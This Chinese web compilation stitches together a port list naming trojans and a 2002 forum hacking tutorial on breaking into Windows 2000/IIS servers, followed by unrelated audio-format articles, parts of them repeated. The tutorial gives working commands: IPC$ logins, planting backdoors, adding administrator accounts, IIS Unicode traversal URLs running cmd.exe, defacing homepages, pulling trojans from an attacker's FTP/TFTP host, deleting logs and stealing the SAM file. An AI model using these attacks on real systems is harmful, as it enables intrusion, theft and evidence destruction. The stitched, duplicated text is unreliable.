端口:34324
服务:[NULL]
说明:木马Tiny Telnet Server、BigGluck、TN开放此端口。
端口:40412
服务:[NULL]
说明:木马The Spy开放此端口。
端口:40421、40422、40423、40426、
服务:[NULL]
说明:木马Masters Paradise开放此端口。
端口:43210、54321
服务:[NULL]
说明:木马SchoolBus 1.0/2.0开放此端口。
端口:44445
服务:[NULL]
说明:木马Happypig开放此端口。
端口:50766
服务:[NULL]
说明:木马Fore开放此端口。

端口:53001
服务:[NULL]
说明:木马Remote Windows Shutdown开放此端口。
端口:65000
服务:[NULL]
说明:木马Devil 1.03开放此端口。
端口:88
说明:Kerberos krb5。另外TCP的88端口也是这个用途。
端口:137
说明:SQL Named Pipes encryption over other protocols name lookup(其他协议名称查找上的SQL命名管道加密技术)和SQL RPC encryption over other protocols name lookup(其他协议名称查找上的SQL RPC加密技术)和Wins NetBT name service(WINS NetBT名称服务)和Wins Proxy都用这个端口。
端口:161
说明:Simple Network Management Protocol(SMTP)(简单网络管理协议)
端口:162
说明:SNMP Trap(SNMP陷阱)
端口:445
说明:Common Internet File System(CIFS)(公共Internet文件系统)
端口:464
说明:Kerberos kpasswd(v5)。另外TCP的464端口也是这个用途。
 
端口:500
说明:Internet Key Exchange(IKE)(Internet密钥交换)
端口:1645、1812
说明:Remot Authentication Dial-In User Service(RADIUS)authentication(Routing and Remote Access)(远程认证拨号用户服务)
端口:1646、1813
说明:RADIUS accounting(Routing and Remote Access)(RADIUS记帐(路由和远程访问))
端口:1701
说明:Layer Two Tunneling Protocol(L2TP)(第2层隧道协议)
端口:1801、3527
说明:Microsoft Message Queue Server(Microsoft消息队列服务器)。还有TCP的135、1801、2101、2103、2105也是同样的用途。
端口:2504
说明:Network Load Balancing(网络平衡负荷)
0 通常用于分析操作系统。这一方法能够工作是因为在一些系统中“0”是无效端口,当你试图使用一种通常的闭合端口
连接它时将产生不同的结果。一种典型的扫描:使用IP地址为0.0.0.0,设置ACK位并在以太网层广播。

2000入侵小结{1}
www.netsill.com 2002-6-23 12:55:27  网嗅安全网


早就答应ekin 和jesse 写些原创的东西呵呵 我个菜鸟能写什么呢?经过wowo和蚂蚁的指教,我想还是把这些刚学来的,趁热就卖了吧:)
win2000的漏洞我知道的也就这几个在这献丑了
先什么呢?????就ipc$吧毕竟这个好理解 什么是ipc$ 我就不说了,我也不大明白
ipc探测大多基于139 用的工具当然是流光了呵呵其实还有别的工具也可以探测,我个人认为还是流光好.怎么用流光的ipc探测帮助里写的相当相当详细了
流光的帮助是我见过黑客教学最傻瓜的了大家 知道探测出密码了,可以用种植者
种植但是有时启动不起来那还要我们来帮助它吧 呵呵net use \\**.**.***.***\ipc$ "密码" /user:"这个你自己猜吧"
*** 是目标的位置就是ip 好象这是废话 呵呵
copy \tools\srv.exe \\202.**.**.**\admin$\system32 这个就是把srv.exe 复制到 肉鸡上


net time \\203.161>**.** 这个就是查看肉鸡的时间
比如说是 02:22 这个有可能是 02:22 还有可能是 14:22
at \\203.**.**.** 9:02 srv.exe 这样就启动了 srv.exe了
然后就telnet 203.**.**.** 99 (srn.exe 其实就是在99端口开启个后门 呵呵)
上去了吧 哈哈 对了上去也不代表我就控制了机器呀 对呀 你还要成为管理员 这样就方便多了呵呵
命令是 net user 用户 /add 这个是创建个用户
net localgroup administrators 用户 /add 这呀就是把刚才你加的用户加到管理员权限里

好了现在你是管理员了 呵呵 2000的一个很有用的就是做跳板

netsvc \\127.0.0.1 telnet /stop

netsvc \\127.0.0.1 telnet /start
这两个命令最好还是在肉鸡上执行
好象快点
好了ipc就介绍到这吧 其实net命令很有用的强烈推荐大家 好好看看命令详解
下面呢????好就cgi吧 哈哈这个好象难了点 我看见不少人都问怎么用好我就给大家介绍介绍 我其实也不怎么熟的 呵呵这是 我转来得大家 好好看看 我也懒

一、Unicode漏洞的实现
要利用unicode利用,先要知道如何实现,通常,我们通过以下几种途径来利用Unicode漏洞:
–http://www.exsample.com/scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
http://www.exsample.com/msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
http://www.exsample.com/_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
http://www.exsample.com/_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
http://www.exsample.com/cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

如果浏览器返回C:的目录列表,那么就可以继续了。其中,从dir开始是真正的命令,用+连接命令。(注:下面将不再把前面的地址写上,直接为命令)
二、如何修改对方主页?
通常,在系统盘的目录下有Inetpub目录.其中有个wwwroot目录是用来存放主页空间的。
先dir+C:\Inetpub\wwwroot\察看目录:
返回:
======================================================
Directory of C:\inetpub\wwwroot

2001-01-31 22:56

.
2001-01-31 22:56
..
1999-06-03 23:13 342 help.gif
1999-12-16 16:44 1,628 iisstart.asp
2001-01-31 22:56
images
1999-12-16 16:44 6,566 default.asp <====这个应该是主页,或者是index.asp

11 File(s) 23,885 bytes
5 Dir(s) 126,048,256 bytes free
=========================================================
接着:我们就
del+c:\inetpub\wwwroot\default.asp
echo+Hacked%20By%20Hacker%20>+c:\inetpub\wwwroot\default.asp
利用echo命令和重定向符号创建新文件.

三、如果主页不在默认路径下,如何知道在哪里?
我们可以到他的主页上,选取他的标题图片,右键点击,看它的文件名。比如:exsample.gif
于是,我们用:
dir+c:\exsample.gif/s
dir+d:\exsmaple.gif/s

这样可以搜索到它的标题图片,通常在主页的images目录下,那么这个目录的上级目录就是存放主页的。
按照二中所讲的方法可以修改其主页。

四、如何将文件上传?
这个是我们最关心的了,因为一旦上传了如ncx99一样的程序,那么有些事就好办多了。偷懒的人也许上传个冰河上去:)。
方法:(俗称ftp方法)
1.首先,申请个ftp账号(可以用ftp的主页账号也可),不要填真实身份哦!
2.将你要上传的文件上传到该ftp服务器上。
3.然后,在unicode漏洞的机器上,建立文件,用echo命令:
echo+open ftp.xxx.com(ftp主机) > c:\temp.1 (可以随便取个名字,最好放到隐蔽的地方)
echo+user yourname >> c:\temp.1 yourname是你的用户名
echo+yourpasswd >> c:\temp.1 yourpasswd是你的密码
echo+get ncx99.exe >> c:\temp.1 你要下载的文件
echo+quit >> c:\temp.1
4.执行ftp,用参数s
ftp+/s:c:\temp.1
好了,过一会儿,用dir察看当前目录,就会看见ncx99.exe,酷!接下来如何,不用说了吧!

五、如何做个很大的文件?
我们可以用bat文件来实现。用echo建立如下文件,注意扩展名为bat:
@echo off
echo big > x.x
:w
copy x.x+x.x x.x
goto w
这样,就会……呵呵,不用说了吧,但这个好像不好。也可以上传个程序过去。这个只不过比较方便。

六、万一遇到长文件名怎么办?
这是很菜鸟的问题,但确实有人不会用,我在这里简单地说一下:
例如:
c:\program files\microsoft billgates\hackermanandwoman.txt
如何表示?用:
c:\"program20%files"\"microsoft20%billgates"\hackermanandwoman.txt

七、如何删除脚印(日志)?
用如下命令:
del+C:\winnt\system32\logfiles\*.*
del+C:\winnt\ssytem32\config\*.evt
del+C:\winnt\system32\dtclog\*.*
del+C:\winnt\system32\*.log
del+C:\winnt\system32\*.txt
del+C:\winnt\*.txt
del+C:\winnt\*.log


八、如何创建新的用户名,并将用户名加入Administrator组?这个不一定会成功,由于你没有足够的权限。除非碰到一些傻瓜网站。
我们可以用echo创建一个bat文件。包含一下命令:
net user Myname MyPasswd /add /expires:never
net localgroup "administrators" /add Myname
然后,执行这个bat,就可以了。记得把它删除哦!

九、如何获得SAM数据库?
先用上传文件的方法上传samdump,然后用它把sam库拷贝到别的地方(直接下载SAM库是不行的)。
比如samdump C:\winnt\system32\config\sam C:\temp.aaa
然后在把temp.aaa上传到你的ftp服务器上,也可以把它拷贝到主页目录下,用浏览器下载。


本篇文章允许转载,但请注明由eastdark所著


呵呵 上面说的 其实很简单的
http://*****.***>***/msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\


这个就是最经典的unicode漏洞了 最主要是能用命令呵呵 /winnt/system32/cmd.exe?/c+这个后面就是用命令的地方 比如要看system32 文件夹的内容 就是 /winnt/system32/cmd.exe?/c+dir+c:\winnt\system32
还有别的命令 呵呵
../winnt/system32/cmd.exe?/c+copy+c:\winnt\repair\sam._+c:\inetpub\wwwroot\

这个就是把 sam复制到wwwoot 呵呵到了那你知道要干什么了吧 当然了下载后破解密码呀 哈哈 对了破解密码的时间可不短呀 呵呵 不管是什么漏洞都是为了得到管理员权限 我们既然把srv.exe复制到肉鸡上了当然是启动他了 用 ftp你可以自己社定地址 比如你把srv.exe复制到C:\Inetpub\scripts\里了 启动它就是 winnt/system32/cmd.exe?/c+C:\Inetpub\scripts\srv.exe

既然启动你还塄着干什么 telnet 呀 呵呵 还是 99 端口呀


我再给大家介绍一篇
最近这些日子好多的WINNT的服务器被黑,尤其是国内的。下面是一些具体示例的总结。
下面这类型的漏洞以发现近一年多了,一年多前在国外的黑客网站就有了类似的文章,但是当时
并没有很多人重视。,在反北约的黑客战中有很多就是用下面这些例子了。
不过直到UNICOUDE漏洞的发现,黑NT的计算机变的傻瓜化了。下面我把最近的一些文章总结一下。
希望大家能从这里体会到点什么。(下面的文章来自一些邮件列表和BBS)


原理:(其实原来都很相似,我拿这个做个例子。)

NSFOCUS安全小组发现IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,
导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode
字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执
行某些web根目录以外的文件。
对于IIS 5.0/4.0中文版,当IIS收到的URL请求的文件名中包含一个特殊的编码例如"%c1%hh"
或者"%c0%hh",它会首先将其解码变成:0xc10xhh, 然后尝试打开这个文件,Windows 系统
认为0xc10xhh可能是unicode编码,因此它会首先将其解码,如果 0×00<= %hh < 0×40的话,
采用的 解码的格式与下面的格式类似:
%c1%hh -> (0xc1 – 0xc0) * 0×40 + 0xhh
%c0%hh -> (0xc0 – 0xc0) * 0×40 + 0xhh
因此,利用这种编码,我们可以构造很多字符,例如:
%c1%1c -> (0xc1 – 0xc0) * 0×40 + 0×1c = 0×5c = ‘/’
%c0%2f -> (0xc0 – 0xc0) * 0×40 + 0×2f = 0×2f = ‘\’
攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。
(1) 如果系统包含某个可执行目录,就可能执行任意系统命令。下面的URL可能
列出当前目录的内容:
http://www.victim.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
(2) 利用这个漏洞查看系统文件内容也是可能的:
http://www.victim.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
Rain Forest Puppy 测试发现对于英文版的IIS 4.0/5.0,此问题同样
存在,只是编码格式略有不同,变成"%c0%af"或者"%c1%9c".
下面我们的例子以%c1%1c为主讲解。
注:+号可以用%20代替,依这种格式你还可以构造出许多命令
好多站点\inetpub\下的scripts目录删除了,
但\Program Files\Common Files\System\下
的msadc还在(有msadcs.dll漏洞的话就不用
%c1%1c了)。这时可以如下构造请求:
http://ip/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\


实践一:(修改主页—-最简单化的一种)

很多入侵都以修改主页的形式表现出来,这通常有两种情况:一是表达自己的
愤慨——比如当年以美国为首的北约悍然轰炸我驻南使馆的突发事件之后,国内很多黑客
在ICQ、BBS一呼百应,纷纷对敌国进行各种形式的攻击,当然以替换主页最为大快人心!
二是在给网管发e-mail漏洞报告之后没反应,有的黑客按耐不住,就用修改主页的方式给予警告,
用以引起人们对于安全技术的重视。当然说起来这是违法的啦,所以大家要注意哦,不要光图一时的痛快,
呵呵!
可以使用ECHO命令、管道符等建立文件,修改文件内容。但因为IIS加载程序检测到有CMD.EXE或者COMMAND.COM串就要检测特殊字符“&|(,;%<>”,如果发现有这些字符就会返回500错误,所以不能直接使用CMD.EEX加管道符等。因此可以采用拷贝CMD.EXE换名的方法绕过去。
http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\ccc.exe
然后
http://xxx.xxx.xxx.xxx/scripts/ccc.exe?/c+echo+Hacked+by+chinese+>+

:\wwwroot\xxx\default.asp
http://xxx.xxx.xxx.xxx/scripts/ccc.exe?/c+echo+1/1/2001+>>+

f:\wwwroot\xxx\default.asp
就改了主页了!
这种方法对于有负载均衡的主机很不方便,又需要几次才能完成,所以不好。袁哥给出了另一种更方便的办法。参考袁哥(yuange)的帖子《IIS不用拷贝CMD.EXE使用管道符等的方法》,可以这样:
http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/cmd".exe?

/c+echo+Hacked+by+hacker+>+f:\wwwroot\xxx\default.asp
http://xxx.xxx.xxx.xxx/scripts/..../winnt/system32/cmd".exe?/c+echo+12/1/

2k+>>+f:\wwwroot\xxx\default.asp
这样,主页就被更改成了:
Hacked by hacker
12/1/2k
当然我是没有这样做啦,不过这些东西我都在自己配置的环境下实现了,

在我练习的过程中发现,用ECHO写这些的时候很慢,如果你多次回车,过一阵屏幕刷新后主页上就会留下多个
你要写的内容。

实践二(下载SAM文件)

http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32
/cmd.exe?/c+dir%20c:\发现列出了远程主机C:\下的所有文件,
执行:
http://xxx.xxx.xxx.xxx/scripts/..á../winnt/system32/cmd.exe?/c

+copy%20c:\autoexec.bat%20c:\autoexec.bak 成功实现文件的复制,
执行:http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/
cmd.exe?/c+del%20c:\autoexec.bak 成功实现文件的删除,哇!太利害了。
随便浏览了一下,因为是国内的主机,不想搞破坏,只想练练手!目的:
获得Administrator权限。
执行:http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/
cmd.exe?/c+copy%20c:\winnt\repair\sam._%20c:\inetpub\wwwroot\
把sam._文件拷贝到wwwroot文件内,输入:http://xxx.xxx.xxx.xxx/sam._
将sam._文件下载到本地,执行:
http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/cmd.exe?/c
+del%20c:\inetpub\wwwroot\sam._清除痕迹。
在本机执行:C:>expand sam._ sam
启动l0phtcrack 2.5(可到http://rina.yofor.com/7index.html 下载),Import Sam File… 导入sam文件,Open Wordlist File…
打开一个字典,Run Crack,乖乖,要17个小时,不管它,让它慢慢破去,先睡个
觉先!五分钟后来一看,Administrator 的 Nt Password 居然是 123456,我昏,
网管们注意了,这种密码也可以取呀?执行:C:\>newletmein \\xxx.xxx.xxx -admin
扫描主机,发现管理员ID是:asdfghjk,执行:C:\>net use \\xxx.xxx.xxx.xxxc$
123456 /user:asdfghjk 成功联上对方主机,大功告成!窜到存放日志的目录:
winnt\system32\logfiles 看了看,呵呵!

实践三(用木马)

如果你对net use的使用不熟悉的话,可以找找相关的资料来看,net命令也是基本技能啊,好好掌握吧)
在本地设定一个共享目录,比如f:\123,把ncx99.exe和冰河服务端放在里面,同时为了试验,
放了一个0字节的1.txt;然后再tftp98中把目录指向f:\123,现在就要让对方运行tftp.exe来下载文件啦!
http://xxx.xxx.xxx.xxx/scripts/cmd.exe?/c+copy+c:\winnt\system32\tftp.exe%20f:\wwwroot\scripts
然后
http://xxx.xxx.xxx.xxx/scripts/tftp.exe?-i+111.111.111.111+get+1.txt+cosys.txt
(111.111.111.111表示我们的ip,或者是我们的tftp服务器ip)
看,返回下面的内容:
CGI 錯誤
所指定的 CGI 應用程式處理有誤,它未傳回完整的 HTTP 標題。所傳回的標題是:

Transfer successful: 0 bytes in 2 seconds, 0 bytes/s
这就成功啦!看看:
http://xxx.xxx.xxx.xxx/scripts/sys.exe?/c+dir+1.txt
果然有的,哈,继续:
http://xxx.xxx.xxx.xxx/scripts/tftp.exe?-i+111.111.111.111+get+ncx99.exe+scripts.exe
现在继续把冰河弄上去,国货精品,也让同胞们看看嘛!这是最方便的啦,哈哈!
http://xxx.xxx.xxx.xxx/scripts/tftp.exe?-i+111.111.111.111+get+G_Client.exe+c:\winnt\system32\iinter.exe
返回:
CGI 錯誤
所指定的 CGI 應用程式處理有誤,它未傳回完整的 HTTP 標題。所傳回的標題是:

Transfer successful: 266240 bytes in 271 seconds, 982 bytes/s
成功啦,这样,我们就可以先让它中木马啦!
http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/inter.exe
之后,用客户端连接过去,找到自己需要的东西,什么?你不知道你需要什么?
那你进去干什么?!学习啊?好啊,学到什么啦?总结一下,把纪录删掉(或者改写?覆盖?你自己想吧)

常见的声音格式包括WAV,MIDI,MP3,RA,CD(其实应该算是介质)等,而非常见的包括 ASF,AU,AAC,WMA,MP4,AIFF,SND,XM,S3M等等。应该说,最常见的音频格式是 WAV 格式,所以我们的目标是要做到各种格式与WAV格式之间的转换。

  首先要说的是最简单的方法,就是使用几乎每个人硬盘里都有的WINAMP!只要WINAMP能播放某种格式的音乐,那就可以通过它的Output Plugin 中的 Disk Writer Plugin 来输出为WAV文件。目前WINAMP支持的格式包括(2.5版):
  VOC、WAV、MID、MP3、MP2、MP1、CD、IT、XM、S3M、STM、MOD、DSM、FAR、ULT、MTM、669、AS、WMA、MJF。

  另外是使用音频编辑软件,比如COOLEDIT、SOUNDFORGE之类。一般这些软件都支持读取多种音频格式。比如COOLEDIT 1.1支持以下格式:
  SAM、WAV、IFF、SVX、AIF、SND、VOX、DWD、AU、SND、VCE、SMP、VOC、VBA等。

  还有就是著名的音频格式转换软件SOX(SOund eXchange)了。该软件支持的格式与上面列出的COOLEDIT的格式差不多。

  除了以上几个“万金油”式的通用软件外,下面是针对具体的文件格式使用特定软件的转换方法:

WAV –> MIDI
Gama,wavmid32,Digital Ear,AKoff Music Composer,MIDI Recognition System

MIDI –> WAV
n-Track Studio,WAVmaker,AmazingMIDI以及Wingroove,yamaha sxg 等等软波表

Wav –> Mp3
L3enc,MPEG Layer-3 Audio Codec,RightClick-MP3,mp3creator,MPlifier

Mp3 –> WAV
MP32WAV Professional,Mp3towav,RightClick-MP3,DART CD-Recorder,mp3decoder

WAV –> CD
AudioWriter,DART CD-Recorder Plus

CD –> Wav
CDcopy, AudioGrabber,WinDAC32,Digital Audio Copy,MusicMatch Jukebox

Wav –> Rm,Ram
用REAL PRODUCER G2

Ra –> Wav
Ra2Wav,Streambox Ripper

WAV –> WMA
wavtowma.zip

WAV –> VQF
Yamaha soundVQ Encoder, Audiograbber

RAW –> WAV
RAWtoWAV

MP3 –> CD
MP3CD Maker, CDCOPY,MP32WAV Professional,AudioWriter,Siren Jukebox

CD –> MP3
MusicMatch Jukebox,cdtomp,Cdex,Ultimate Encoder,AudioCatalyst

WMA –> CD
Siren Jukebox

MP3 to ASF
Mp3toasf

CD –> Ra
MusicMatch Jukebox

CD –> RAW
CD-DA Extractor

CD <==> WAV,AU,RAW,VQF,Ra,MPG,MPA
CDCOPY

VCD –> WAV
用超级解霸里的声音解霸

MPA –> WAV
用MP3DECODER

PS –> WAV 
xaplay 

- END -

介绍篇

1、MPEG-2 AAC 与 MP4

MPEG-2 AAC(Advanced Audio Coding),简称A2B或AAC,是目前MPEG音频家族中较新的成员。MP4是基于这一技术而形成的一种商品。

之所以说MP4是一个商品,是因为MP4出现的主要目的就是意图采用一种带有版权限制的音乐格式去取代目前在网络上泛滥的MP3。AT&T公司对MPEG-2 AAC技术进行了一些改良,增加了最关键的音乐传播认证技术,这样就形成了MP4这一种东西。

2、MP4的加密技术

在这里简单说一下MP4里面使用到的加密技术:首先要认识到的是这一切都离不开网络的帮助。在网络上出售音乐的公司需要为自己的客户创建一个所谓的安全数据库,每一个用户都需要在这个数据库里面创建一个唯一的密钥。当用户以播放、复制、出售等方式去处理手头的音乐时,一切的活动都必须通过这一个密钥,结合音乐格式内含的限制信息,去查询安全数据库中的许可协议,看看用户究竟有没有做这种活动的权力。数据库中的许可协议可以应用户要求随时修改,使得MP4歌曲本身包含的版权信息也可以随时更换。

3、MP4的前景

虽然MP4有很多先进的优点,但在与MP3竞争的过程中鹿死谁手还有待分晓。关键原因是MP3的使用没有任何限制,这种特性在本来就没有限制的网络上得到充分体现。相反的是虽然AAC技术是公开的,但MP4本身却是受到严格的专利和使用许可证保护的。毫无疑问这肯定使得MP4的应用范围非常狭窄。而且,现在网络上应用了AAC技术的声音格式、编码器、播放器等由于最终文件格式的原因而基本上互不兼容。这一点非常致命:用户要选择一棵树,然后在那棵树上吊死。

要消灭一种正在流行中的东西是需要用很长的时间的。而且,新的音乐技术已经诞生,比如MPEG-4的Structure Audio,可以实现完全无失真、100:1的音频压缩,到了新技术流行的时候,MP4相信也会很快被淘汰掉。

技术篇

4、MPEG-2和MPEG 2.5

MPEG-1和MPEG-2在音频方面都使用相同的音频编解码家族: Layer-1, -2 和 -3共三层。数字越小,相对应的技术就越简单,越容易实现。MPEG-2的新音频特性主要表现在MPEG-2具有低采样率扩展以满足只具备非常有限的带宽的应用范围。新的采样频率为: 16, 22.05 或 24 kHz, 比特率则扩展到 8 kbps。

MPEG-2标准允许比特率低到8kbps,在该种情况下,实际有效的音频带宽需要做出限制,比如限制到3khz。因此,实际的采样率会被减少到8khz。采样率越低,频率分辨率就越好,时间分辨率就越差,流格式中控制信息和音频数据的消耗比就越好。由于MPEG-2定义的最低的采样率为16kHz,于是Fraunhofer便对此进行扩展,将原来MPEG-2所支持的低采样率再除以2,得到: 8, 11.025, 和 12 kHz ,称为 "MPEG 2.5"。在第三层的音质表现上,8 kbps @ 8 kHz 或 16 kbps @ 11 kHz 明显比 8 或 16 kbps @ 16 kHz 要好。

关于MPEG-1,请参阅本站的其他文章:MP3 FAQ中文版

http://www.wavecn.com/_articles/cmp3faq.htm

4、AAC技术

AAC于1997年形成国际标准ISO 13818-7。在MPEG-2制订的早期,本来是想将其音频编码部分保持与MPEG-1兼容的。但后来为了适应演播电视的要求而将其定义成为一个可以获得更高质量的多声道音频标准。理所当然地,这个标准是不兼容MPEG-1的,因此被称为MPEG-2 AAC。换句话说,从表面上看,要制作和播放AAC,都需要使用与MP3完全不同的工具。


5、AAC的工作方式

AAC之所以不兼容MP3,关键是它使用了不同的压缩处理算法,并且增加了许多新的特性。AAC使用了一种非常灵活的熵编码核心去传输编码频谱数据。

我们来看看MPEG-2 AAC 是如何工作的。首先,音频数据通过多相积分滤波(PQF)被分离为四个标准的子带。对于每一个子带都传输一个独立的增益,作为边信息(side information)。在增益控制下的子带数据然后以长度为256的MDCT来(对于瞬时条件长度为32)转换。在MDCT中使用的窗口是 Kaiser-Bessel derived (KBD) 或正弦窗,两者的频谱特性不相同可适应不同的信号。在瞬时条件下使用较短的窗口以改善时间分辨率。

MDCT 系数通过两个预报帧获得预报, 对于每一个频段使用一种独立的LMS-adapted (Least Mean Square最小均方)预报器。这改善了恒定信号的编码效率。预报后的残余被非均衡地量化并使用11种Huffman编码中的一种来编码。

MPEG-2 AAC 还包括许多可选的附加特性。最令人感兴趣的是暂时噪音抑制(Temporal Noise Shaping),该技术主要对瞬间信号起作用。

6、技术指标:

音质特性:
CD 质量 96-128 kbit/s
扩展比特率: 8-64+ 千位/秒/通道
扩展采样率:8-96kHz (优于CD质量)
多通道声音:48 个主要音频通道,16 个低频增强通道,16 个集成数据流, 16 个配音,16 种编排

编码/解码技术:
基于MDCT的滤波器段和块(窗口)切换
1024 系数长块增益编码
128 系数短块时间分辨率编码
开始/停止块
暂时噪音抑制(Temporal Noise Shaping):使用预报分散量化噪音。
预报:对相关信号使用LPC语音编码技术
联合编码:消除立体声冗余M/S (L+R/S-D), 或 R/L 联合强度。
比例因素:对频谱系数分段共享增益值以抑制噪音 (长块时使用49波段)
量化: 量化分辨率系数微调。(4/3 power)
无噪音编码:通过huffman编码消除波段和段落中的量化频谱冗余(11种编码方式)


标准原型:
霍夫曼(Huffman)编码
量化和比例缩放
M/S 矩阵
强度立体声
通道耦合
回溯的适应预报
暂时噪音抑制。(TNS)
修饰离散余弦变换(IMDCT)
增益控制和混合滤波段(多相积分滤波polyphase quadrature filter (IPQF)+IMDCT)

其中,最重要的新技术是回溯的适应预报,45% 的编码时间花在了这一技术上。不过,解码立体声音频流只需要奔腾100的一半CPU时间。

低复杂程度的原型:
无预报
TNS 限制在12个系数内,但仍然跨越18 kHz 的带宽

可缩放采样率原型:
无预报
无耦合通道
增益控制
混合滤波段(IPQF + divided IMDCT)
TNS 限制在12个系数内,同时限制在 6 kHz 带宽内。


7、AAC专利许可协定

AAC与MP3相比,在专利限定方面要强烈得多。观看其专利许可协定

http://www.wavecn.com/_articles/mpeg2aac/aac_pla_ver._7.pdf

写在前面的话:
  本文主要参照a.b.s.mod的MOD-FAQ写成,由于手头上的FAQ版本是1998年的,所以文中有些链接可能无效,敬请原谅。
==================================================================================

[1] 概要


[1.1] Modules (什么是mod?)


  Modules是数码音乐文件,由一组samples(也就是乐器的声音)和时序信息组成,告诉一个mod播放器何时以何种音高去演奏在某条音轨的某个样本,附带演奏一些效果比如颤音等。因而mod与纯正的象WAV或AU那样的没有包含时序信息的样本文件不同,与象MIDI文件那样的不携带任何附加样本/乐器的文件也不同。mod在DEMO世界里是非常流行,因为mod提供了一种具有可以接受的音质水平而又非常廉价的制作音乐的方法。随着高质量的音响硬件的使用,新一代的mod的声音质量甚至可以提升到接近专业设备的水平。mod的时序信息是基于PATTERN和TRACK的。一个PATTERN是一组有相当长度,通常为64行的音轨的组合。音轨之间是相互独立的,意味着一个四音轨mod可以同时地播放四个声音或音符。pattern可以顺序地放在一个演播表中,于是重复演播同样的pattern序列就不需要重写一次。

  这使得mod成为一种介乎于象WAV,VOC或IFF/8SVX那样的纯正样本数据文件和象MIDI那样的纯正时序信息文件之间的混合体。一个常见的问题是“我如何才能把WAV转换为mod?”。

  这是可以实现的,但并没有什么意义。在另一方面可能那些拥有庞大容量的硬盘的人们会感到有兴趣,因为他们可以听到比原来是mod的质量要高的音乐,而不惜那几M的硬盘空间(10MB/1分钟,16位,44.1kHz,立体声),或那些想在没有mod播放器(或者仅能播放8KHZ的AU文件)的人们面前炫耀的人。

  在过去几年发布的无数的mod是简单地从CD上得来的样本。怎么说,CD-ROM现在也是必不可少的设备了。唯一实际编序的仅是那些合唱段的部分。那些mod大部分是排行榜的十大热门。实际上这是一种从WAV到mod的转换。虽然人们不反对这种mod的泛滥,但这种mod违背了mod原来的设想。所以这种mod音乐是不提倡的。

[0] 目录

[1.2]本文中的术语


  Modules是数码音乐文件,由一组samples(也就是乐器的声音)和时序信息组成,告诉一个mod播放器何时以何种音高去演奏在某条音轨的某个样本,附带演奏一些效果比如颤音等。因而mod与纯正的象WAV或AU那样的没有包含时序信息的样本文件不同,与象MIDI文件那样的不携带任何附加样本/乐器的文件也不同。mod在DEMO世界里是非常流行,因为mod提供了一种具有可以接受的音质水平而又非常廉价的制作音乐的方法。随着高质量的音响硬件的使用,新一代的mod的声音质量甚至可以提升到接近专业设备的水平。mod的时序信息是基于PATTERN和TRACK的。一个PATTERN是一组有相当长度,通常为64行的音轨的组合。音轨之间是相互独立的,意味着一个四音轨mod可以同时地播放四个声音或音符。pattern可以顺序地放在一个演播表中,于是重复演播同样的pattern序列就不需要重写一次。

  这使得mod成为一种介乎于象WAV,VOC或IFF/8SVX那样的纯正样本数据文件和象MIDI那样的纯正时序信息文件之间的混合体。一个常见的问题是“我如何才能把WAV转换为mod?”。

  这是可以实现的,但并没有什么意义。在另一方面可能那些拥有庞大容量的硬盘的人们会感到有兴趣,因为他们可以听到比原来是mod的质量要高的音乐,而不惜那几M的硬盘空间(10MB/1分钟,16位,44.1kHz,立体声),或那些想在没有mod播放器(或者仅能播放8KHZ的AU文件)的人们面前炫耀的人。

  在过去几年发布的无数的mod是简单地从CD上得来的样本。怎么说,CD-ROM现在也是必不可少的设备了。唯一实际编序的仅是那些合唱段的部分。那些mod大部分是排行榜的十大热门。实际上这是一种从WAV到mod的转换。虽然人们不反对这种mod的泛滥,但这种mod违背了mod原来的设想。所以这种mod音乐是不提倡的。

[0] 目录

[1.2]本文中的术语


[1.1] Modules (什么是mod?)


  Modules是数码音乐文件,由一组samples(也就是乐器的声音)和时序信息组成,告诉一个mod播放器何时以何种音高去演奏在某条音轨的某个样本,附带演奏一些效果比如颤音等。因而mod与纯正的象WAV或AU那样的没有包含时序信息的样本文件不同,与象MIDI文件那样的不携带任何附加样本/乐器的文件也不同。mod在DEMO世界里是非常流行,因为mod提供了一种具有可以接受的音质水平而又非常廉价的制作音乐的方法。随着高质量的音响硬件的使用,新一代的mod的声音质量甚至可以提升到接近专业设备的水平。mod的时序信息是基于PATTERN和TRACK的。一个PATTERN是一组有相当长度,通常为64行的音轨的组合。音轨之间是相互独立的,意味着一个四音轨mod可以同时地播放四个声音或音符。pattern可以顺序地放在一个演播表中,于是重复演播同样的pattern序列就不需要重写一次。

  这使得mod成为一种介乎于象WAV,VOC或IFF/8SVX那样的纯正样本数据文件和象MIDI那样的纯正时序信息文件之间的混合体。一个常见的问题是“我如何才能把WAV转换为mod?”。

  这是可以实现的,但并没有什么意义。在另一方面可能那些拥有庞大容量的硬盘的人们会感到有兴趣,因为他们可以听到比原来是mod的质量要高的音乐,而不惜那几M的硬盘空间(10MB/1分钟,16位,44.1kHz,立体声),或那些想在没有mod播放器(或者仅能播放8KHZ的AU文件)的人们面前炫耀的人。

